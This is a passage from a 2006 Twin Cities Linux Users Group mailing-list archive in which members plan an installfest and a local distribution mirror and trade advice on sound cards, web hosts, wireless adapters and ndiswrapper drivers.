wasn't too bad. Definitely -- there were still a lot of people there at 2:00 and they were very busy working on their computers. This kind of turnout with a last-minute plan implies that a little more advance planning will make for a really important event. > I do want to thank Keven for setting it up. Like some of the other guys > said, an installfest is not a simple thing to schedule/coordinate/run. > > I am working on getting another installfest organized in the next couple > of months. I will use this thread to make sure we address the things > that were missed from this last one. If anyone has space or is willing > to help coordinate, let me know. I'm repeating what I wrote earlier in case it was missed: --begin repeated section--- Well, I don't know what other people have done but I just did offer to help with the next installfest. I will now offer to do even more. I have a faculty appointment at the U and I'm sure that will help me to secure some space there. June would be a good time for me to do it. Does that seem like it would work for others? If so, write back to me or call 612-387-8150, especially if you have experience with organizing installfests at the U. In the meantime, I'll learn more about what I have to do to secure space. If any of you have ideas about which rooms at the U would be best to have, let me know. Maybe we can also try to organize some meetings and lectures. --end repeated section--- I will have a grant due on June 1, so I prefer to wait until June, but if you want to do it earlier, and you can use my help to get a room, and maybe other support, I can work with you, but not as well as I could in June. I really appreciate your hard work planning these things and I want to do something to help out. Mike From sfertch at gmail.com Mon Mar 6 18:24:53 2006 From: sfertch at gmail.com (Shawn Fertch) Date: Mon, 6 Mar 2006 18:24:53 -0600 Subject: [tclug-list] Local vendor for server racks? In-Reply-To: <67f3084a0603041400k5eddf1dahd6b6b814996506@mail.gmail.com> References: <67f3084a0603041400k5eddf1dahd6b6b814996506@mail.gmail.com> Message-ID: <67f3084a0603061624m5d115c5cgde8c08cd5819bfe9@mail.gmail.com> Thanks for the information to those who've responded. I was looking for accessories for an enclosed rack system, more specifically a shelf so I can put monitor and keyboard on. I'd love to do a drawer system, but it's out of the budget for home. I wound up finding a shelf that should fit on eBay for about $50 shipped. I'll keep the others in mind for in case I need something else and don't want to wait. Thanks again. -- -Shawn -Nemo me impune lacessit. Ne Obliviscaris.. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060306/39a36ea3/attachment.htm From seg at haxxed.com Mon Mar 6 22:01:34 2006 From: seg at haxxed.com (Callum Lerwick) Date: Mon, 06 Mar 2006 22:01:34 -0600 Subject: [tclug-list] thinking about MythTV, looking for a sound card. In-Reply-To: <1469cda20603011220l118aae51o7e3d11fd049195b0@mail.gmail.com> References: <1469cda20603011220l118aae51o7e3d11fd049195b0@mail.gmail.com> Message-ID: <1141704094.2599.15.camel@localhost> On Wed, 2006-03-01 at 14:20 -0600, Thomas Johnson wrote: > I'm thinking about turning my desktop into a MythTV box to play DVD > images straight from the harddrive. I want to hook it up into my home > theater system, which means i'm going to need a new sound card, > something with a digital output. I would prefer a TOSLINK output, but > SPDIF would grudgingly accepted. Does anyone have any recommendations > for cards that are relatively problem free as far as linux > compatibility, particularly with digital output, DTS passthrough, > etc.? Might want to look into finding a Vortex 2 card. They haven't been made in years so they should be findable used for next to nothing. Mine has four channel analog output, and TOSLINK output, fully supported in Linux. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 191 bytes Desc: This is a digitally signed message part Url : http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060306/b32d2cd9/attachment.pgp From jima at beer.tclug.org Tue Mar 7 08:02:28 2006 From: jima at beer.tclug.org (Jima) Date: Tue, 7 Mar 2006 08:02:28 -0600 (CST) Subject: [tclug-list] [tclug-announce] Installfest this Saturday In-Reply-To: <440CBE8D.4080104@fandre.com> References: <3C05BBBA1B54ED43B1A6827E620EF1CD012798AE@mailservermn.mqsoftware.com> <440CBE8D.4080104@fandre.com> Message-ID: On Mon, 6 Mar 2006, Clayton Fandre wrote: > I do want to thank Keven for setting it up. Like some of the other guys > said, an installfest is not a simple thing to schedule/coordinate/run. I second that. Thank you to all involved in setting this up. As far as I can recall, every installfest has had its hitches, but I think they always benefit *somebody*. We also might want to recognise Scot Jenkins' previous efforts at hosting installfests; to the best of my memory he's personally hosted and coordinated at least two. (So no, he isn't just flaming for the sake of flaming.) > I am working on getting another installfest organized in the next couple > of months. I will use this thread to make sure we address the things > that were missed from this last one. If anyone has space or is willing > to help coordinate, let me know. Assuming I can make it (9am on a Saturday was iffy enough, but I had a few hours of work that I needed to do before noon), I'd be glad to offer up some networking resources. While I don't have top-notch gear (2-3 Cisco Catalyst 1900s, 2x100bt, 24x10bt switched), it's certainly more reliable than that flaky 10bt hub that was causing all the network issues, and would be great as second-tier infrastructure. (I think the same person who was bringing Ubuntu media was bringing the proper network hardware -- oops.) Also I have some kinda-mid-grade wireless gear, but coordinated properly would be rather awesome (I can envision the setup now). Also, if someone is willing to provide an installfest file server (preferably in conjunction with Real Time's firewire drive!), that would be good to tie into the DHCP/DNS infrastructure for simplicity's sake. Yeah, the whole deal was rushed. Yeah, we can do better. But for the time and resources that were available, I don't think it was all that bad. Good job, guys. Jima From cschumann at twp-llc.com Tue Mar 7 08:30:04 2006 From: cschumann at twp-llc.com (Chris Schumann) Date: Tue, 7 Mar 2006 08:30:04 -0600 (CST) Subject: [tclug-list] Next installfest In-Reply-To: References: Message-ID: <8978.192.28.2.52.1141741804.squirrel@alpha.twp-llc.com> I'll chip in with my time. I'd be happy to set up "clueless" and "clueful" badges if it would help, bring a stack of CD's, a 100MB switch, maintain a list of distributions that people have or want knowledge of, and who's around... maybe even take pictures to promote for next time. I tend to dislike the UofM as a site because of the lack of free parking, and anyone bringing anything bigger than a laptop is driving. Just MHO. April 29 jumps out on my calendar as a great day. I should have Fedora Core 5 running on my laptop by then, it's not too far away, yet should allow PLENTY of time for planning. Chris Schumann From wjohnson at mqsoftware.com Tue Mar 7 08:55:52 2006 From: wjohnson at mqsoftware.com (Wayne Johnson) Date: Tue, 7 Mar 2006 08:55:52 -0600 Subject: [tclug-list] Next installfest Message-ID: <3C05BBBA1B54ED43B1A6827E620EF1CD012798B7@mailservermn.mqsoftware.com> When I was discuessing the posibility of hosting an installfest with Keven, he mentioned that they usually had these on the First Saturday of the month. How important is that date? Are other Saturdays acceptable? -----Original Message----- From: tclug-list-bounces at mn-linux.org [mailto:tclug-list-bounces at mn-linux.org]On Behalf Of Chris Schumann Sent: Tuesday, March 07, 2006 8:30 AM To: tclug-list at mn-linux.org Subject: [tclug-list] Next installfest I'll chip in with my time. I'd be happy to set up "clueless" and "clueful" badges if it would help, bring a stack of CD's, a 100MB switch, maintain a list of distributions that people have or want knowledge of, and who's around... maybe even take pictures to promote for next time. I tend to dislike the UofM as a site because of the lack of free parking, and anyone bringing anything bigger than a laptop is driving. Just MHO. April 29 jumps out on my calendar as a great day. I should have Fedora Core 5 running on my laptop by then, it's not too far away, yet should allow PLENTY of time for planning. Chris Schumann _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota tclug-list at mn-linux.org http://mailman.mn-linux.org/mailman/listinfo/tclug-list From florin at iucha.net Tue Mar 7 09:05:54 2006 From: florin at iucha.net (Florin Iucha) Date: Tue, 7 Mar 2006 09:05:54 -0600 Subject: [tclug-list] Next installfest In-Reply-To: <8978.192.28.2.52.1141741804.squirrel@alpha.twp-llc.com> References: <8978.192.28.2.52.1141741804.squirrel@alpha.twp-llc.com> Message-ID: <20060307150554.GY31311@iucha.net> On Tue, Mar 07, 2006 at 08:30:04AM -0600, Chris Schumann wrote: > April 29 jumps out on my calendar as a great day. I should have Fedora > Core 5 running on my laptop by then, it's not too far away, yet should > allow PLENTY of time for planning. Jumps out and falls on the floor 8^) I like it better after the 1st of June. florin -- Don't question authority: they don't know either! -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060307/4c0f8bd2/attachment.pgp From teeahr1 at gmail.com Tue Mar 7 09:30:23 2006 From: teeahr1 at gmail.com (Pete Daniels) Date: Tue, 7 Mar 2006 09:30:23 -0600 Subject: [tclug-list] Next installfest In-Reply-To: <8978.192.28.2.52.1141741804.squirrel@alpha.twp-llc.com> References: <8978.192.28.2.52.1141741804.squirrel@alpha.twp-llc.com> Message-ID: <1f729feb0603070730h121d841y8766103b5d31328@mail.gmail.com> I know it's a little further for some people (students specifically), but I can see about space at the St. Paul Central Library. The bonus there is that there's parking enough for everyone. (It's St. Paul, there's no one else there!) Food for thought... On 3/7/06, Chris Schumann wrote: > > I'll chip in with my time. I'd be happy to set up "clueless" and "clueful" > badges if it would help, bring a stack of CD's, a 100MB switch, maintain a > list of distributions that people have or want knowledge of, and who's > around... maybe even take pictures to promote for next time. > > I tend to dislike the UofM as a site because of the lack of free parking, > and anyone bringing anything bigger than a laptop is driving. Just MHO. > > April 29 jumps out on my calendar as a great day. I should have Fedora > Core 5 running on my laptop by then, it's not too far away, yet should > allow PLENTY of time for planning. > > Chris Schumann > > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list > -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060307/3ec79f69/attachment.htm From jima at beer.tclug.org Tue Mar 7 09:34:41 2006 From: jima at beer.tclug.org (Jima) Date: Tue, 7 Mar 2006 09:34:41 -0600 (CST) Subject: [tclug-list] Next installfest In-Reply-To: <3C05BBBA1B54ED43B1A6827E620EF1CD012798B7@mailservermn.mqsoftware.com> References: <3C05BBBA1B54ED43B1A6827E620EF1CD012798B7@mailservermn.mqsoftware.com> Message-ID: On Tue, 7 Mar 2006, Wayne Johnson wrote: > When I was discuessing the posibility of hosting an installfest with > Keven, he mentioned that they usually had these on the First Saturday of > the month. How important is that date? Are other Saturdays acceptable? I'm not aware of any limitation to the first Saturday of the month. I know the regular "monthly" meetings are *usually* on the first Saturday of the month, but I don't see any reasons installfests need to be. Heck, if someone lines one up on another Saturday, I don't think anyone can (or should) complain about that. (Other matters may be fair game, YMMV.) Jima From srcfoo at gmail.com Tue Mar 7 15:41:33 2006 From: srcfoo at gmail.com (Eric Peterson) Date: Tue, 7 Mar 2006 15:41:33 -0600 Subject: [tclug-list] Off Topic: Need a good repair shop for OEM servers Message-ID: <579c6fd30603071341g5a7e7b94p60f7db676c16171d@mail.gmail.com> Hi all, Our company is need of a shop that can do hardware repair and do it well. We could do it in house, but we don't wish to become a hardware repair shop. The machines are SCSI based servers (desktops really) that run linux and occassionally SCO. We just need the machines repaired so that we can reload the OS and we need it done in a timely manner. Do you know of a good local company to do this? Thanks, Eric From kcbnac at gmail.com Wed Mar 8 08:48:01 2006 From: kcbnac at gmail.com (Keith Bachman) Date: Wed, 8 Mar 2006 08:48:01 -0600 Subject: [tclug-list] Installation Server/Mirror Message-ID: <32fd45370603080648h7c4d6a27k5e2e607078a78a73@mail.gmail.com> I'm in the process of expanding on my desktop (currently: AMD Athlon64 3800+, 2GB RAM, 250GB HD, DVD R/RW, 10/100/1000 NIC, dual-booting XP Pro and Ubuntu 5.10 at the moment, but Windows is purely for gaming) with another HD or two, so I could very easily drop a mirror of whatever on there. So, here's my questions: Which distros do we want? How many revisions back do we mirror for them, or do we just mirror everything available on the public servers? Any reason the HD couldn't be set up to be moved/duplicated/mirrored as needed, if say I wasn't able to make it to an installfest, I just pass the disk off to someone else who can, and we have the drive itself set for such work? I'm looking at 1-2 320GB drives or better, I would have no problem dedicating one of them for this purpose. Or perhaps I acquire one of those Raptor 150GB 10k SATA drives? Let's figure this out...I've got disk space (coming soon) and bandwidth to spare. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060308/2480b717/attachment.html From slushpupie at gmail.com Wed Mar 8 09:32:09 2006 From: slushpupie at gmail.com ( ) Date: Wed, 8 Mar 2006 09:32:09 -0600 Subject: [tclug-list] Installation Server/Mirror In-Reply-To: <32fd45370603080648h7c4d6a27k5e2e607078a78a73@mail.gmail.com> References: <32fd45370603080648h7c4d6a27k5e2e607078a78a73@mail.gmail.com> Message-ID: On 3/8/06, Keith Bachman wrote: > I'm in the process of expanding on my desktop (currently: AMD Athlon64 > 3800+, 2GB RAM, 250GB HD, DVD R/RW, 10/100/1000 NIC, dual-booting XP Pro and > Ubuntu 5.10 at the moment, but Windows is purely for gaming) with another HD > or two, so I could very easily drop a mirror of whatever on there. > > So, here's my questions: > > Which distros do we want? > How many revisions back do we mirror for them, or do we just mirror > everything available on the public servers? Debian dosnt really split things like that. You can split the architectures up. You can figure ~60G for i386 and ~13G more for amd64 (amd64 uses symlinks with the main repository, so its only functional if you mirror at least part of the main repository) There might be some demand for ppc or sparc support, but the little demand may not justify the added space. > Any reason the HD couldn't be set up to be moved/duplicated/mirrored as > needed, if say I wasn't able to make it to an installfest, I just pass the > disk off to someone else who can, and we have the drive itself set for such > work? The biggest problem is getting in sync if you are out of sync. Even with a lot of bandwidth, mirroring 100-200G of data will take a while, so you cant "just" mirror to someone else quickly. Running daily rsyncs will go a long way to solve the problem, and some distros (like Debian) even has a "push" mirror availible so you only get updates when something needs to get updated. If you made the disk(s?) such they could be easily moved to other systems, that would help in the event you couldnt make it to an installfest. -- Jay Kline http://www.slushpupie.com/ From kcbnac at gmail.com Wed Mar 8 09:53:28 2006 From: kcbnac at gmail.com (Keith Bachman) Date: Wed, 8 Mar 2006 09:53:28 -0600 Subject: [tclug-list] Installation Server/Mirror In-Reply-To: <32fd45370603080752u4787b0c4r5d8a99b12b17af48@mail.gmail.com> References: <32fd45370603080648h7c4d6a27k5e2e607078a78a73@mail.gmail.com> <32fd45370603080752u4787b0c4r5d8a99b12b17af48@mail.gmail.com> Message-ID: <32fd45370603080753s7f1c913eyef389a88cbb8cab4@mail.gmail.com> Roommate also works in U of M's IT department, and IIRC, they've still got mirrors for most things residing there. He often walks to work from here, so it wouldn't be that hard to pull off. Or just update the mirror say a week before an installfest, or I can just set it up to do a daily rsync, we usually have spare bandwidth here. The inital setup would probably be the only painful part. I've never done one before, but I've got the hardware and might as well put it to use. Good learning experience :D -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060308/f8f4fe21/attachment.htm From wjohnson at mqsoftware.com Wed Mar 8 10:23:11 2006 From: wjohnson at mqsoftware.com (Wayne Johnson) Date: Wed, 8 Mar 2006 10:23:11 -0600 Subject: [tclug-list] Installation Server/Mirror Message-ID: <3C05BBBA1B54ED43B1A6827E620EF1CD0351BD@mailservermn.mqsoftware.com> Thanks for the offer. I wonder if you really know what your getting yourself into... Were you planning on downloading the isos or os directory (or both). I'd suggest using bit-torrent for the isos, but rsync for the os directories. iso images would be better if someone plans on burning a CD, os directories if you want to network install. There is also a way to mount iso images as filesystems if you want to save on disk. It's a bit tricksey, but I can help you with it if you need it. I vote for: FC4 i386 & i86_64 ( http://download.fedora.redhat.com/pub/fedora/linux/core/4/) FC5 i386 & i86_64 (I believe it's in http://download.fedora.redhat.com/pub/fedora/linux/core/development/ at this point, http://download.fedora.redhat.com/pub/fedora/linux/core/test/ after the release candidate is announced). -----Original Message----- From: tclug-list-bounces at mn-linux.org [mailto:tclug-list-bounces at mn-linux.org]On Behalf Of Keith Bachman Sent: Wednesday, March 08, 2006 8:48 AM To: TCLUG Subject: [tclug-list] Installation Server/Mirror I'm in the process of expanding on my desktop (currently: AMD Athlon64 3800+, 2GB RAM, 250GB HD, DVD R/RW, 10/100/1000 NIC, dual-booting XP Pro and Ubuntu 5.10 at the moment, but Windows is purely for gaming) with another HD or two, so I could very easily drop a mirror of whatever on there. So, here's my questions: Which distros do we want? How many revisions back do we mirror for them, or do we just mirror everything available on the public servers? Any reason the HD couldn't be set up to be moved/duplicated/mirrored as needed, if say I wasn't able to make it to an installfest, I just pass the disk off to someone else who can, and we have the drive itself set for such work? I'm looking at 1-2 320GB drives or better, I would have no problem dedicating one of them for this purpose. Or perhaps I acquire one of those Raptor 150GB 10k SATA drives? Let's figure this out...I've got disk space (coming soon) and bandwidth to spare. -------------- next part -------------- An HTML attachment was scrubbed... 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Works well with 64bit Suse including video cards. configured new 2640 Seller Email address: rinnes at mac dot com http://www.mn-linux.org/cgi-bin/classifieds/index.cgi From webmaster at mn-linux.org Wed Mar 8 10:37:58 2006 From: webmaster at mn-linux.org (TCLUG Classifieds) Date: Wed, 8 Mar 2006 10:37:58 -0600 Subject: [tclug-list] New TCLUG Classified Ad Message-ID: <200603081637.k28Gbwq05716@crusader.real-time.com> New TCLUG Classified Ad Category: Computer Type of Ad: For Sale Subject: 2 GHz Dual-core PowerPC G5 2 GHz Dual-core PowerPC G5 2GB 533 DDR2 Non ECC SDRAM - 2x1GB 160GB Serial ATA - 7200rpm NVIDIA GeForce 6600 LE 128MB SDRAM 16x SuperDrive new - $2,300 Seller Email address: rinnes at mac dot com http://www.mn-linux.org/cgi-bin/classifieds/index.cgi From kcbnac at gmail.com Wed Mar 8 10:44:47 2006 From: kcbnac at gmail.com (Keith Bachman) Date: Wed, 8 Mar 2006 10:44:47 -0600 Subject: [tclug-list] Installation Server/Mirror In-Reply-To: <3C05BBBA1B54ED43B1A6827E620EF1CD0351BD@mailservermn.mqsoftware.com> References: <3C05BBBA1B54ED43B1A6827E620EF1CD0351BD@mailservermn.mqsoftware.com> Message-ID: <32fd45370603080844v7f63f129wcbf6a2e6c14021df@mail.gmail.com> Perhaps we have several mirrors, and we split up who mirrors what, based on need, disk space, etc? How does the following list look? For architectures, off the top of my head I think of I386 and AMD64 for sure, with PPC and Sparc as likely canidates. Debian 73GB size, 80GB+ for working space Fedora Gentoo Mandriva Slack SuSE Ubuntu/Kubuntu Anyone know rough size requirements for the rest? Is debian something we'll really be putting new users on, and thus needing to have on-hand for an installfest, or are there enough "new user oriented" distros that we wouldn't be giving them Debian? ISO's are not a (huge) deal...probably 30GB tops, I can certainly have them on hand for an installfest, if we know what all we want. -------------- next part -------------- An HTML attachment was scrubbed... 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Since one of the options for location is the U of M and hauling monitors over large distance is not something I'm really good at I was thinking to bring a SUN Blade 100 - it takes IDE drives and can be controlled via the serial port. 120 GB doesn't sound like much nowadays, but if we add: Ubuntu 1 CD Debian 3 CDs Fedora 4 CDs SuSE 5 CDs Slackware NaN Floppies and multiply by 3 (i386, AMD64, PPC) we are talking under 50 GBs anyway. We can set up a squid to use the other 50 GBs and increase the size limit for the cacheable files. florin -- Don't question authority: they don't know either! -------------- next part -------------- A non-text attachment was scrubbed... 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I'm not mirroring the FC5 candidate yet, just due to it still changing fairly frequently (okay, I've mainly been watching its kernel, but still). Jima From tclug at steamedpenguin.com Wed Mar 8 12:27:36 2006 From: tclug at steamedpenguin.com (Samir M. Nassar) Date: Wed, 8 Mar 2006 12:27:36 -0600 Subject: [tclug-list] Installation Server/Mirror In-Reply-To: <32fd45370603080648h7c4d6a27k5e2e607078a78a73@mail.gmail.com> References: <32fd45370603080648h7c4d6a27k5e2e607078a78a73@mail.gmail.com> Message-ID: <200603081227.36504.tclug@steamedpenguin.com> On Wednesday 08 March 2006 08:48, Keith Bachman wrote: > I'm in the process of expanding on my desktop (currently: AMD Athlon64 > 3800+, 2GB RAM, 250GB HD, DVD R/RW, 10/100/1000 NIC, dual-booting XP Pro > and Ubuntu 5.10 at the moment, but Windows is purely for gaming) with > another HD or two, so I could very easily drop a mirror of whatever on > there. If the Installfest is on a day off from work, I can bring my desltop and keep burning as many ISO's as people need as well. I'll have the latest Gentoo and ubuntu, and Kubuntu ISO's all set to go. From jus at krytosvirus.com Wed Mar 8 14:53:02 2006 From: jus at krytosvirus.com (Justin Krejci) Date: Wed, 8 Mar 2006 14:53:02 -0600 Subject: [tclug-list] Installation Server/Mirror In-Reply-To: <21700470.1141836450686.JavaMail.root@sniper5> References: <3C05BBBA1B54ED43B1A6827E620EF1CD0351BD@mailservermn.mqsoftware.com> <21700470.1141836450686.JavaMail.root@sniper5> Message-ID: <200603081453.03727.jus@krytosvirus.com> On Wednesday 08 March 2006 10:44 am, Keith Bachman wrote: > Perhaps we have several mirrors, and we split up who mirrors what, based on > need, disk space, etc? > > How does the following list look? For architectures, off the top of my > head I think of I386 and AMD64 for sure, with PPC and Sparc as likely > canidates. > > Debian 73GB size, 80GB+ for working space > Fedora > Gentoo > Mandriva > Slack > SuSE > Ubuntu/Kubuntu I have setup a local SuSE 10.0 respoitory at my work for doing installs as we use a lot of linux servers. SuSE 10.0 installation repository is 18.6GB for all x86, x86_64, ppc, ppc64 combined. SuSE 10.0 = 18.6GB From jpschewe at mtu.net Thu Mar 9 05:52:41 2006 From: jpschewe at mtu.net (Jon Schewe) Date: Thu, 09 Mar 2006 05:52:41 -0600 Subject: [tclug-list] Question about hosting services Message-ID: <1141905161.8552.31.camel@workstation.mn.mtu.net> I'm helping out a neighbor with some webhosting and they're setup with www.bluehost.com. I see they're really inexpensive and have everything that we need. Does anyone have any experience (good or bad) with them that they would like to share? Thanks. ________________________________________________________________________ Jon Schewe | http://mtu.net/~jpschewe If you see a signature.asc file attached to the message this is my digital signature. See http://www.gnupg.org for more information. For I am convinced that neither death nor life, neither angels nor demons, neither the present nor the future, nor any powers, neither height nor depth, nor anything else in all creation, will be able to separate us from the love of God that is in Christ Jesus our Lord. - Romans 8:38-39 -------------- next part -------------- A non-text attachment was scrubbed... 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I have several other friends who are also happy customers. -Tim -- Tim Wilson Twin Cities, Minnesota, USA Educational technology guy, Linux and OS X fan, Grad. student, Daddy mailto: wilson at visi.com aim: tis270 blog: http://technosavvy.org -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060309/a48baea0/attachment.htm From gscottwalters at gmail.com Thu Mar 9 08:55:36 2006 From: gscottwalters at gmail.com (G. Scott Walters) Date: Thu, 9 Mar 2006 08:55:36 -0600 Subject: [tclug-list] Question about hosting services In-Reply-To: <1799E943-1812-494F-B76E-E19626BB4C55@visi.com> References: <1141905161.8552.31.camel@workstation.mn.mtu.net> <1799E943-1812-494F-B76E-E19626BB4C55@visi.com> Message-ID: <34b4c76d0603090655u5a7bccb6xb3a67b29d7f5ac01@mail.gmail.com> While not to discount anyone's positive experinces, I thought I'd throw another name out there for cheap hosting. www.Seanic.net. Helpful staff, dirt cheap, stable. My only complaint is that thier tech support is hosted in somewhere in the south pacific, and only seems to work 8-5 local time. So urgent problems don't get attention. Though I have not had any urgent problems or downtime. I'll qualify my experineces with Seanic by saying that I use it to host a personal site only. It doesn't get oodles of traffic, and no one complains if it's not available. Scott On 3/9/06, Tim Wilson wrote: > > On Mar 9, 2006, at 5:52 AM, Jon Schewe wrote: > > > I'm helping out a neighbor with some webhosting and they're setup with > > www.bluehost.com. I see they're really inexpensive and have everything > > that we need. Does anyone have any experience (good or bad) with them > > that they would like to share? > > > I'm a very satisfied Bluehost customer. Zero problems and quick response to > emails. I have several other friends who are also happy customers. > > -Tim > > -- > Tim Wilson > Twin Cities, Minnesota, USA > Educational technology guy, Linux and OS X fan, Grad. student, Daddy > mailto: wilson at visi.com aim: tis270 blog: http://technosavvy.org > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > tclug-list at mn-linux.org > http://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > -- - G. Scott Walters http://www.apt518.net From ewilts at ewilts.org Thu Mar 9 10:00:37 2006 From: ewilts at ewilts.org (Ed Wilts) Date: Thu, 9 Mar 2006 10:00:37 -0600 Subject: [tclug-list] Question about hosting services In-Reply-To: <34b4c76d0603090655u5a7bccb6xb3a67b29d7f5ac01@mail.gmail.com> References: <1141905161.8552.31.camel@workstation.mn.mtu.net> <1799E943-1812-494F-B76E-E19626BB4C55@visi.com> <34b4c76d0603090655u5a7bccb6xb3a67b29d7f5ac01@mail.gmail.com> Message-ID: <20060309160037.GA19170@www.ewilts.org> On Thu, Mar 09, 2006 at 08:55:36AM -0600, G. Scott Walters wrote: > While not to discount anyone's positive experinces, I thought I'd > throw another name out there for cheap hosting. www.Seanic.net. I'll throw out 2 names: vizaweb.com. Company is locally-based but the servers are hosted in Texas. Service is absolutely, positively horrible. I've seen multi-day outages (with no fee reduction) and things like the cron daemon being stopped for weeks at a time. When I cancelled my 2 accounts, I had to give them a reason and said that their uptime and service was horrible - I got a nice form letter back saying that they hope to see me back soon. After I cancelled the first account, they even tried to process another annual payment which thankfully was rejected. The second name I'll throw out is phpwebhosting.com. They've been great so far. Fixed fee ($9.95/month) no matter how much disk or bandwidth you require. It's a relatively stock RHEL 3 distro with ssh access. Support has been adequate. I host 2 domains on the same account, paying only an additional $2 per month to keep the email addresses separate. .../Ed -- Ed Wilts, RHCE Mounds View, MN, USA mailto:ewilts at ewilts.org Member #1, Red Hat Community Ambassador Program From andyzib at gmail.com Thu Mar 9 10:39:03 2006 From: andyzib at gmail.com (Andrew Zbikowski) Date: Thu, 9 Mar 2006 10:39:03 -0600 Subject: [tclug-list] Installation Server/Mirror In-Reply-To: <200603081453.03727.jus@krytosvirus.com> References: <3C05BBBA1B54ED43B1A6827E620EF1CD0351BD@mailservermn.mqsoftware.com> <21700470.1141836450686.JavaMail.root@sniper5> <200603081453.03727.jus@krytosvirus.com> Message-ID: Debian has a nice set of tools for mirroring the distribution. Just install debmirror on your Debian box. Here's the command lines I used earlier this week to mirror Debian at my company's Mexico location. I haven't had time to update my kiosk system to Ubuntu or Debian Sarge yet, so I'm still grabbing Woody. debmirror /srv/mirror/debian -v --progress --nosource --host=nisamox.fciencias.unam.mx --method=http --dist=woody --arch=i386 ### Non-US ### debmirror /srv/mirror/debian-non-US -v --progress --nosource --host=nisamox.fciencias.unam.mx --method=http --root=debian-non-US --dist=woody/non-US --section=main,contrib,non-free --arch=i386 ## Security ### debmirror /srv/mirror/debian-security -v --progress --nosource --host=security.debian.org --method=http --root=debian-security --dist=woody/updates --section=main,contrib,non-free --arch=i38 For Ubuntu: debmirror /srv/mirror/ubuntu -v --progress --nosource --host=archive.ubuntu.com --method=http --dist=breezy --section=main --root=ubuntu --arch=i386 rsync didn't want to work though the firewall, so I stuck to http. -- Andrew S. Zbikowski | http://andy.zibnet.us SELECT * FROM users WHERE clue >0; 0 rows returned From leatherdruid at yahoo.com Thu Mar 9 12:07:03 2006 From: leatherdruid at yahoo.com (leatherdruid) Date: Thu, 9 Mar 2006 10:07:03 -0800 (PST) Subject: [tclug-list] A question about ndis.... Message-ID: <20060309180703.17950.qmail@web33510.mail.mud.yahoo.com> I have been playing with ndiswrapper and have run into a problem. I installed the driver for the card in the system and then listed the drivers available for ndis and got rt2500 invalid driver! so I uninstalled it. This is odd to me because I got the driver right off the CD that came with the card but that's not the point. After I uninstalled the driver I listed the available drivers for ndis again to make sure that it was uninstalled correctly and got.... drivers invalid driver! I didn't think much about that until I tried another driver for the card and got.... bcmwl5 invalid driver! drivers invalid driver! So it seems that there's a ghost in the ndis that I can't get rid of at the moment. Is there any way to flush out or reset the ndis or should I just install another driver and choose that one for the device? I'm at a loss.... but that hardly surprising. Josh V. --------------------------------- Yahoo! Mail Use Photomail to share photos without annoying attachments. -------------- next part -------------- An HTML attachment was scrubbed... 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I have a Motorola WE800G at home that has been rock solid. http://broadband.motorola.com/consumers/products/we800g/ I just recived a few SMC EZ Connect g SMCWEBT-G at work that we will be using to get a number of Linux machines on a wireless network. I haven't tested them yet, but so far this is the only bridge I've discovered that will do WPA or WPA2. -- Andrew S. Zbikowski | http://andy.zibnet.us SELECT * FROM users WHERE clue >0; 0 rows returned From florin at iucha.net Thu Mar 9 16:15:06 2006 From: florin at iucha.net (Florin Iucha) Date: Thu, 9 Mar 2006 16:15:06 -0600 Subject: [tclug-list] usb wireless In-Reply-To: <200601171714.k0HHEglt015384@saturn.software.umn.edu> References: <200601171714.k0HHEglt015384@saturn.software.umn.edu> Message-ID: <20060309221506.GC31311@iucha.net> On Tue, Jan 17, 2006 at 11:14:42AM -0600, duff0097 wrote: > I have an old iMac G3, and I was curious what the best usb wireless device > would be to use with this? > > I found one (TEW-424UB V2) that uses ndiswrapper - but that only works on > x86 or amd64 arch's. CompUSA has DWL-G122 rev b1 on sale this week. It has the RALINK chipset. I was able to get it to work in FreeBSD 6.1-BETA, but the linux support is flakey - the free software driver is in the middle of a rewrite and port to a different 802.11 stack. florin -- Don't question authority: they don't know either! -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://mailman.mn-linux.org/pipermail/tclug-list/attachments/20060309/480251dc/attachment.pgp From duff0097 at umn.edu Thu Mar 9 21:33:38 2006 From: duff0097 at umn.edu (Bryan Duff) Date: Thu, 09 Mar 2006 21:33:38 -0600 Subject: [tclug-list] A question about ndis.... In-Reply-To: <20060309180703.17950.qmail@web33510.mail.mud.yahoo.com> References: <20060309180703.17950.qmail@web33510.mail.mud.yahoo.com> Message-ID: <4410F392.1040403@umn.edu> # ndiswrapper -l Installed ndis drivers: bcmwl5a driver present, hardware present # ndiswrapper -e bcmwl5a //and boom - I've removed my driver - heres how you get help. # ndiswrapper -h //and the ndiswrapper driver wiki has lots of good info on your card. That should help you find the driver inf file you need. Hope that helps. -Bryan leatherdruid wrote: > I have been playing with ndiswrapper and have run into a problem. > > I installed the driver for the card in the system and then listed the > drivers available for ndis and got /rt2500 invalid driver!/ so I > uninstalled it. This is odd to me because I got the driver right off > the CD that came with the card but that's not the point. > > After I uninstalled the driver I listed the available drivers for ndis > again to make sure that it was uninstalled correctly and got.... > > /drivers invalid driver!/ > > I didn't think much about that until I tried another driver for the > card and got.... > > /bcmwl5 invalid driver!/ > /drivers invalid driver!/ > > So it seems that there's a ghost in the ndis that I can't get rid of > at the moment. > > Is there any way to flush out or reset the ndis or should I just > install another driver and choose that one for the device? > > I'm at a loss.... but that hardly surprising. > > Josh V. > > > ------------------------------------------------------------------------ > Yahoo! Mail > Use Photomail > > to share photos without annoying attachments. > 